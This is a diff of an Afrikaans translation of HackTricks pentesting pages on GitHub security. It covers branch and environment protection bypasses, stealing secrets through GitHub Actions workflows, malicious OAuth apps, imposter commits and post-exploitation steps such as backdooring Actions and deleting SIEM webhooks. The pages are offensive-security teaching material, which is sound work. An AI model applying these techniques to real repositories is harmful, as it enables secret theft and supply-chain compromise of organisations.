**branch beskermings van 'n repository** kan gevind word in _https://localhost:3000/\/\/settings/branches_ +Die **takbeskermings van 'n repository** kan gevind word in _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> Dit is **nie moontlik om 'n branch beskerming op organisasievlak in te stel nie**. So al hulle moet op elke repo verklaar word. +> Dit is **nie moontlik om 'n takbeskerming op organisasievlak in te stel** nie. So al hulle moet op elke repo verklaar word. Verskillende beskermings kan op 'n tak toegepas word (soos op master): @@ -87,17 +87,17 @@ Verskillende beskermings kan op 'n tak toegepas word (soos op master): - **Aktiveer Push**: Enigeen met toegang kan push, maar nie force push nie. - **Whitelist Beperkte Push**: Slegs geselekteerde gebruikers/spanne kan na hierdie tak push (maar geen force push nie) - **Aktiveer Merge Whitelist**: Slegs whitelisted gebruikers/spanne kan PRs saamvoeg. -- **Aktiveer Status kontroles:** Vereis dat status kontroles slaag voordat dit saamgevoeg word. -- **Vereis goedkeuring**: Dui die aantal goedkeuringe aan wat vereis word voordat 'n PR saamgevoeg kan word. +- **Aktiveer Status kontroles:** Vereis dat status kontroles slaag voordat saamgevoeg word. +- **Vereis goedkeuringe**: Dui die aantal goedkeuringe aan wat vereis word voordat 'n PR saamgevoeg kan word. - **Beperk goedkeuringe tot whitelisted**: Dui gebruikers/spanne aan wat PRs kan goedkeur. - **Blokkeer saamvoeg op verwerkte hersienings**: As veranderinge aangevra word, kan dit nie saamgevoeg word nie (selfs as die ander kontroles slaag) - **Blokkeer saamvoeg op amptelike hersieningsversoeke**: As daar amptelike hersieningsversoeke is, kan dit nie saamgevoeg word nie -- **Verwerp verouderde goedkeuringe**: Wanneer nuwe commits gemaak word, sal ou goedkeuringe verwerp word. -- **Vereis Onderteken Commits**: Commits moet onderteken wees. -- **Blokkeer saamvoeg as die pull request verouderd is** -- **Beskermde/onbeskermde lêerpatrone**: Dui patrone van lêers aan om teen veranderinge te beskerm/onbeskerm. +- **Verwerp verouderde goedkeuringe**: Wanneer nuwe verbintenisse gemaak word, sal ou goedkeuringe verwerp word. +- **Vereis Onderteken Verbintenisse**: Verbintenisse moet onderteken wees. +- **Blokkeer saamvoeg as die trekversoek verouderd is** +- **Beskermde/Onbeskermde lêerpatrone**: Dui patrone van lêers aan om teen veranderinge te beskerm/onbeskerm. > [!NOTE] -> Soos jy kan sien, selfs al het jy daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm wees wat jou verhoed om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer. +> Soos jy kan sien, selfs al het jy daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm wees wat jou verhinder om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 5addd67ce..8bc66de00 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -1,4 +1,4 @@ -# Github Veiligheid +# Github Sekuriteit {{#include ../../banners/hacktricks-training.md}} @@ -16,11 +16,11 @@ basic-github-information.md Github repositories kan gekonfigureer word as publiek, privaat en intern. -- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang sal hê -- **Intern** beteken dat **slegs** mense van die **onderneming** ( 'n onderneming kan verskeie organisasies hê) toegang sal hê -- **Publiek** beteken dat **alle internet** toegang sal hê. +- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang tot hulle sal hê +- **Intern** beteken dat **slegs** mense van die **onderneming** (n onderneming kan verskeie organisasies hê) toegang tot dit sal hê +- **Publiek** beteken dat **alle internet** toegang tot dit sal hê. -As jy die **gebruikersnaam, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lek** **op elke repo**. +As jy die **gebruiker, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lek** **op elke repo**. ### Github Dorks @@ -47,7 +47,7 @@ Gereedskap (elke gereedskap bevat sy lys van regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> Wanneer jy soek na lekke in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag **ander takke met ander verbintenisse** wees wat geheime bevat nie! +> Wanneer jy soek na lekke in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag wees **ander takke met ander verbintenisse** wat geheime bevat nie! ### Eksterne Forks @@ -67,10 +67,10 @@ accessible-deleted-data-in-github.md Daar is 'n paar **standaard voorregte** wat aan **lede** van die organisasie toegeken kan word. Hierdie kan beheer word vanaf die bladsy `https://github.com/organizations//settings/member_privileges` of vanaf die [**Organisasies API**](https://docs.github.com/en/rest/orgs/orgs). -- **Basiese toestemmings**: Lede sal die toestemming None/Lees/schrijf/Admin oor die org repositories hê. Dit word aanbeveel om **None** of **Lees** te hê. +- **Basiese toestemmings**: Lede sal die toestemming None/Lees/skryf/Admin oor die org repositories hê. Dit word aanbeveel om **Geen** of **Lees** te hê. - **Repository fork**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede organisasie repositories fork nie. - **Bladsy skepping**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede bladsye van die org repos publiseer nie. As dit nodig is, kan jy toelaat om publieke of private bladsye te skep. -- **Integrasie toegang versoeke**: Met hierdie geaktiveer sal buite medewerkers toegang kan versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer. +- **Integrasie toegang versoeke**: Met hierdie geaktiveer sal buite samewerkers in staat wees om toegang te versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer. - _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_ - **Repository sigbaarheid verandering**: As geaktiveer, sal **lede** met **admin** toestemmings vir die **repository** in staat wees om **sy sigbaarheid te verander**. As gedeaktiveer, kan slegs organisasie eienaars repository sigbaarhede verander. As jy **nie** wil hê mense moet dinge **publiek** maak nie, maak seker dit is **gedeaktiveer**. - _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_ @@ -87,13 +87,13 @@ Verskeie sekuriteit gerelateerde instellings kan geconfigureer word vir aksies v > [!NOTE] > Let daarop dat al hierdie konfigurasies ook op elke repository onafhanklik gestel kan word -- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om te loop nie. +- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om uit te voer nie. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) -- **Fork pull versoek workflows van buite medewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite medewerkers te vereis. +- **Fork pull versoek workflows van buite samewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite samewerkers te vereis. - _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_ -- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgerade om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik. +- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgeradeer om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik. - _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_ -- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings te gee**. Dit word afgerade om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy. +- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings te gee**. Dit word afgeradeer om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrasies @@ -111,26 +111,26 @@ Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het, kan jy **net aanmeld** en kyk watter **onderneming en organisasie rolle jy het**, as jy 'n gewone lid is, kyk watter **toestemmings gewone lede het**, in watter **groepe** jy is, watter **toestemmings jy het** oor watter **repos,** en **hoe die repos beskerm word.** -Let daarop dat **2FA dalk gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**. +Let daarop dat **2FA mag gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**. > [!NOTE] > Let daarop dat as jy **slaag om die `user_session` koekie te steel** (huidiglik geconfigureer met SameSite: Lax) jy kan **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig. -Kyk die afdeling hieronder oor [**tak beskerming omseilings**](./#branch-protection-bypass) in geval dit nuttig is. +Kyk na die afdeling hieronder oor [**tak beskerming omseilings**](./#branch-protection-bypass) in geval dit nuttig is. ### Met Gebruiker SSH Sleutel -Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode** namens hulle te ontplooi (geen 2FA word toegepas nie). +Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode om kode namens hulle te ontplooi** gebruik sal word (geen 2FA word toegepas nie). -Met hierdie sleutel kan jy **veranderinge in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry: +Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` -As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy in sy rekening ingestel het** in _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word. +As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy gestel het** in sy rekening op _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word. -**SSH sleutels** kan ook in repositories as **deploy sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou. +**SSH sleutels** kan ook in repositories as **ontplooi sleutels** gestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanuit 'n repository te begin**. Gewoonlik in 'n bediener met verskillende ontplooi sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou. #### GPG Sleutels @@ -140,61 +140,61 @@ Kontroleer plaaslik of die huidige gebruiker enige sleutel het met: ```shell gpg --list-secret-keys --keyid-format=long ``` -### Met Gebruikerstoken +### Met Gebruikersteken -Vir 'n inleiding oor [**Gebruikerstokens kyk na die basiese inligting**](basic-github-information.md#personal-access-tokens). +Vir 'n inleiding oor [**Gebruikersteke kyk die basiese inligting**](basic-github-information.md#personal-access-tokens). -'n Gebruikerstoken kan gebruik word **in plaas van 'n wagwoord** vir Git oor HTTPS, of kan gebruik word om [**te autentiseer by die API oor Basiese Autentisering**](https://docs.github.com/v3/auth/#basic-authentication). Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer. +'n Gebruikersteken kan gebruik word **in plaas van 'n wagwoord** vir Git oor HTTPS, of kan gebruik word om [**te autentiseer by die API oor Basiese Autentisering**](https://docs.github.com/v3/auth/#basic-authentication). Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer. -'n Gebruikerstoken lyk soos volg: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +'n Gebruikersteken lyk soos volg: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` ### Met Oauth Toepassing -Vir 'n inleiding oor [**Github Oauth Toepassings kyk na die basiese inligting**](basic-github-information.md#oauth-applications). +Vir 'n inleiding oor [**Github Oauth Toepassings kyk die basiese inligting**](basic-github-information.md#oauth-applications). -'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishingveldtog aanvaar. +'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar. -Hierdie is die [skoppe wat 'n Oauth toepassing kan versoek](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Gebruiker moet altyd die versoekte skoppe nagaan voordat dit aanvaar word. +Hierdie is die [skoppe wat 'n Oauth toepassing kan versoek](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Mens moet altyd die versoekte skoppe nagaan voordat jy dit aanvaar. -Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/ontneem** tot inligting/repos/aksies wat met die organisasie verband hou. +Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat met die organisasie verband hou. ### Met Github Toepassing -Vir 'n inleiding oor [**Github Toepassings kyk na die basiese inligting**](basic-github-information.md#github-applications). +Vir 'n inleiding oor [**Github Toepassings kyk die basiese inligting**](basic-github-information.md#github-applications). -'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishingveldtog aanvaar. +'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar. -Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/ontneem** tot inligting/repos/aksies wat met die organisasie verband hou. +Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat met die organisasie verband hou. ## Kompromie & Misbruik Github Aksie -Daar is verskeie tegnieke om 'n Github Aksie te kompromitteer en te misbruik, kyk hulle hier: +Daar is verskeie tegnieke om 'n Github Aksie te kompromitteer en te misbruik, kyk dit hier: {{#ref}} abusing-github-actions/ {{#endref}} -## Takbeskerming Omseiling +## Branch Beskerming Omseiling -- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk net jou PR's van ander rekeninge aanvaar. As jy net die rekening het waaruit jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Aksie** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou PR **goedkeur** en op hierdie manier 1 goedkeuring kry. -- _Let wel vir hierdie en vir die Kode-eienaars beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy dit kan, kan jy dit misbruik om jou PR's te aanvaar._ +- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk net jou PR's van ander rekeninge aanvaar. As jy net die rekening het waaruit jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Aksie** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou **PR goedkeur** en op hierdie manier 1 goedkeuring kry. +- _Let wel vir hierdie en vir die Kode Eienaars beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy kan, kan jy dit misbruik om jou PR's te aanvaar._ - **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**: As dit nie ingestel is nie, kan jy wettige kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg. -- **Vereis hersienings van Kode-eienaars**: As dit geaktiveer is en jy is 'n Kode-eienaar, kan jy 'n **Github Aksie laat jou PR skep en dit dan self goedkeur**. -- Wanneer 'n **CODEOWNER-lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Kode-eienaars beskerming nie van toepassing nie.** -- **Laat gespesifiseerde akteurs om takverlangings te omseil**: As jy een van hierdie akteurs is, kan jy takverlangings omseil. -- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is 'n admin van die repo, kan jy hierdie takbeskermings omseil. +- **Vereis hersienings van Kode Eienaars**: As dit geaktiveer is en jy is 'n Kode Eienaar, kan jy 'n **Github Aksie laat jou PR skep en dit dan self goedkeur**. +- Wanneer 'n **CODEOWNER-lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Kode Eienaars beskerming nie van toepassing nie.** +- **Laat gespesifiseerde akteurs om pull request vereistes te omseil**: As jy een van hierdie akteurs is, kan jy pull request beskermings omseil. +- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is admin van die repo, kan jy hierdie tak beskermings omseil. - **PR Hijacking**: Jy mag in staat wees om **die PR van iemand anders te wysig** deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg. -- **Verwyder Takbeskermings**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel. -- **Omseiling van drukbeskermings**: As 'n repo **slegs sekere gebruikers toelaat** om druk (kode saam te voeg) in takke te stuur (die takbeskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer). -- As jy **skryftoegang oor die repo het, maar jy mag nie kode druk nie** weens die takbeskerming, kan jy steeds **'n nuwe tak skep** en binne dit 'n **github aksie skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **takbeskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode druk na die tak die **github aksie** uitvoer. +- **Verwydering van Tak Beskermings**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel. +- **Omseiling van druk beskermings**: As 'n repo **slegs sekere gebruikers toelaat** om druk (kode saam te voeg) in takke te stuur (die tak beskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer). +- As jy **skrywe toegang oor die repo het, maar jy mag nie kode druk nie** as gevolg van die tak beskerming, kan jy steeds **'n nuwe tak skep** en binne dit 'n **github aksie skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **tak beskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode druk na die tak die **github aksie uitvoer**. -## Omseiling van Omgewingsbeskermings +## Omseiling van Omgewings Beskermings -Vir 'n inleiding oor [**Github Omgewing kyk na die basiese inligting**](basic-github-information.md#git-environments). +Vir 'n inleiding oor [**Github Omgewing kyk die basiese inligting**](basic-github-information.md#git-environments). -In die geval dat 'n omgewing **van al die takke toegang kan verkry**, is dit **nie beskerm nie** en jy kan maklik toegang verkry tot die geheime binne die omgewing. Let daarop dat jy repos mag vind waar **al die takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan druk** en jy kan die geheime **uitvoer** deur 'n nuwe github aksie te skep (of een te wysig). +In die geval dat 'n omgewing **van alle takke toegang kan verkry**, is dit **nie beskerm nie** en jy kan maklik toegang verkry tot die geheime binne die omgewing. Let daarop dat jy dalk repos mag vind waar **alle takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan druk** en jy kan die geheime **uitvoer** deur 'n nuwe github aksie te skep (of een te wysig). -Let daarop dat jy die randgeval mag vind waar **al die takke beskerm is** (deur wildcard `*`) en dit is gespesifiseer **wie kode na die takke kan druk** (_jy kan dit in die takbeskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github aksie uitvoer omdat jy 'n tak kan skep en die druktrigger oor homself kan gebruik. Die **takbeskerming laat die druk na 'n nuwe tak toe, so die github aksie sal geaktiveer word**. +Let daarop dat jy dalk die randgeval mag vind waar **alle takke beskerm is** (deur wildcard `*`) en dit is gespesifiseer **wie kode na die takke kan druk** (_jy kan dit in die tak beskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github aksie uitvoer omdat jy 'n tak kan skep en die druktrigger oor homself kan gebruik. Die **tak beskerming laat die druk na 'n nuwe tak toe, so die github aksie sal geaktiveer word**. ```yaml push: # Run it when a push is made to a branch branches: @@ -207,14 +207,14 @@ Let wel dat **na die skepping** van die tak die **takbeskerming op die nuwe tak - Genereer **gebruikertoken** - Steel **github tokens** van **geheime** - **Verwydering** van werkvloei **resultate** en **takke** -- Gee **meer regte aan die hele organisasie** +- Gee **meer regte aan die hele org** - Skep **webhooks** om inligting te eksfiltreer - Nooi **buitelandse samewerkers** - **Verwyder** **webhooks** wat deur die **SIEM** gebruik word -- Skep/wysig **Github Action** met 'n **terugdeur** +- Skep/wysig **Github Action** met 'n **agterdeur** - Vind **kwulnerbare Github Action vir opdraginjekie** deur **geheime** waarde wysiging -### Imposter Commits - Terugdeur via repo commits +### Imposter Commits - Agterdeur via repo commits In Github is dit moontlik om **'n PR na 'n repo van 'n fork te skep**. Selfs al word die PR **nie aanvaar nie**, sal 'n **commit** id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom **kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, vaspen**. diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 50e3f1b2b..f72ff28cc 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -12,7 +12,7 @@ In hierdie bladsy sal jy vind: - Misbruik van **pull request** verwante triggers - Misbruik van **ander eksterne toegang** tegnieke - **Pivoting** vanaf 'n reeds gecompromitteerde repo -- Laastens, 'n afdeling oor **post-exploitatie tegnieke om 'n aksie van binne te misbruik** (om die genoem impakte te veroorsaak) +- Laastens, 'n afdeling oor **post-exploitatie tegnieke om 'n aksie van binne te misbruik** (want die genoem impakte) ## Impakte Opsomming @@ -20,7 +20,7 @@ Vir 'n inleiding oor [**Github Actions kyk na die basiese inligting**](../basic- As jy **arbitraire kode in GitHub Actions** binne 'n **repository** kan **uitvoer**, mag jy in staat wees om: -- **Geheime** wat aan die pyplyn gekoppel is te **steel** en die **privileges van die pyplyn** te misbruik om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry. +- **Geheime** wat aan die pyplyn gekoppel is te **steel** en die **privileges van die pyplyn te misbruik** om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry. - **Ontplooiings** en ander **artefakte** te **kompromitteer**. - As die pyplyn bates ontplooi of stoor, kan jy die finale produk verander, wat 'n voorsieningskettingaanval moontlik maak. - **Kode in pasgemaakte werkers** uit te voer om rekenaarkrag te misbruik en na ander stelsels te pivot. @@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee. +> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
@@ -143,7 +143,7 @@ Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander ge > [!NOTE] > Dit sou die maklikste manier wees om Github aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** het. > -> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) nagaan. +> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) kontroleer. ### Uitvoering vanaf Repo Skepping @@ -151,9 +151,9 @@ In die geval dat lede van 'n organisasie **nuwe repos kan skep** en jy kan githu ### Uitvoering vanaf 'n Nuwe Tak -As jy **'n nuwe tak in 'n repository kan skep wat reeds 'n Github Action** geconfigureer het, kan jy dit **wysig**, **die inhoud oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word). +As jy **'n nuwe tak in 'n repository wat reeds 'n Github Action** geconfigureer het, kan jy dit **wysig**, die inhoud **oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word). -Jy kan die gewysigde aksie uitvoerbaar maak **handmatig,** wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees): +Jy kan die gewysigde aksie **handmatig** uitvoerbaar maak, wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees): ```yaml on: workflow_dispatch: # Launch manually @@ -170,33 +170,33 @@ branches: ## Forked Uitvoering > [!NOTE] -> Daar is verskillende triggers wat 'n aanvaller kan toelaat om **'n Github Action van 'n ander repository uit te voer**. As daardie triggerbare aksies swak geconfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer. +> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **Github Action van 'n ander repository** te **uitvoer**. As daardie triggerbare aksies swak geconfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer. ### `pull_request` -Die werksvloei-trigger **`pull_request`** sal die werksvloei elke keer uitvoer wanneer 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**: +Die werksvloei-trigger **`pull_request`** sal die werksvloei uitvoer elke keer as 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**:
> [!NOTE] -> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy **bydra tot die regstelling van 'n geldige fout/typo** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**. +> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy bydrae **deur 'n geldige fout/typo te herstel** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**. > -> **Ek het dit getoets en dit werk nie**: ~~‘n Ander opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~ +> **Ek het dit getoets en dit werk nie**: ~~Nog 'n opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~ -Boonop **verhoed dit standaard skryfrechten** en **toegang tot geheime** tot die teikengebruikersrepo soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Boonop **voorkom dit standaard skryfrechten** en **toegang tot geheime** tot die teikrepository soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): -> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardloper oorgedra** wanneer 'n werksvloei van 'n **forked** repository geaktiveer word nie. Die **`GITHUB_TOKEN` het slegs leesregte** in pull requests **van forked repositories**. +> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardeware oorgedra** wanneer 'n werksvloei geaktiveer word vanaf 'n **forked** repository. Die **`GITHUB_TOKEN` het lees-slegs regte** in pull requests **van forked repositories**. 'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Hy sal egter nie in staat wees om geheime te steel of die repo te oorskryf nie weens die genoem beperkings. > [!CAUTION] -> **Ja, as die aanvaller die github action in die PR verander wat geaktiveer sal word, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!** +> **Ja, as die aanvaller in die PR die github action wat geaktiveer sal word, verander, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!** Aangesien die aanvaller ook die kode wat uitgevoer word, beheer, selfs al is daar geen geheime of skryfrechten op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **kwaadaardige artefakte oplaai**. ### **`pull_request_target`** -Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die teikengebruikersrepo en **toegang tot geheime** (en vra nie vir toestemming nie). +Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die 